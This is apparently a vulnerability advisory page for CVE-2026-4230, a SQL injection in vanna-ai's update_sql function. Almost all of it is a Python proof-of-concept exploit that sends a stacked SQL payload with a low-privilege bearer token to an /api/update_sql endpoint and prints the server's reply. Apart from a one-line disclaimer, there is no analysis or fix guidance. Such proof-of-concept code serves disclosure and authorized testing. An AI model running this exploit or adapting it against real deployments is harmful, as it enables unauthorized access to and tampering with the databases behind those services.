CVE-2026-4230 vanna-ai update_sql函数SQL注入漏洞

#!/usr/bin/env python3 """ CVE-2026-4230 PoC - vanna-ai SQL Injection in update_sql function Note: This is for educational and authorized testing purposes only. """ import requests import json TARGET_URL = "http://target-server:5000" # Replace with actual target def exploit_sql_injection(): """ Exploit SQL injection in vanna-ai update_sql function This PoC demonstrates extracting database version information """ # Malicious payload to extract database version # Adjust payload based on target database type (MySQL, PostgreSQL, etc.) payload = "'; SELECT version(); --" # Target endpoint for update_sql function endpoint = f"{TARGET_URL}/api/update_sql" # Prepare malicious request headers = { "Content-Type": "application/json", "Authorization": "Bearer <low-privilege-token>" # Requires low privilege access } data = { "sql_query": payload, "session_id": "test_session" } print(f"[*] Sending malicious request to {endpoint}") print(f"[*] Payload: {payload}") try: response = requests.post(endpoint, json=data, headers=headers, timeout=10) print(f"[*] Response Status: {response.status_code}") print(f"[*] Response Body: {response.text}") if response.status_code == 200: print("[+] Request successful - potential SQL injection confirmed") return True except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": print("CVE-2026-4230 PoC - vanna-ai SQL Injection") print("=" * 50) exploit_sql_injection()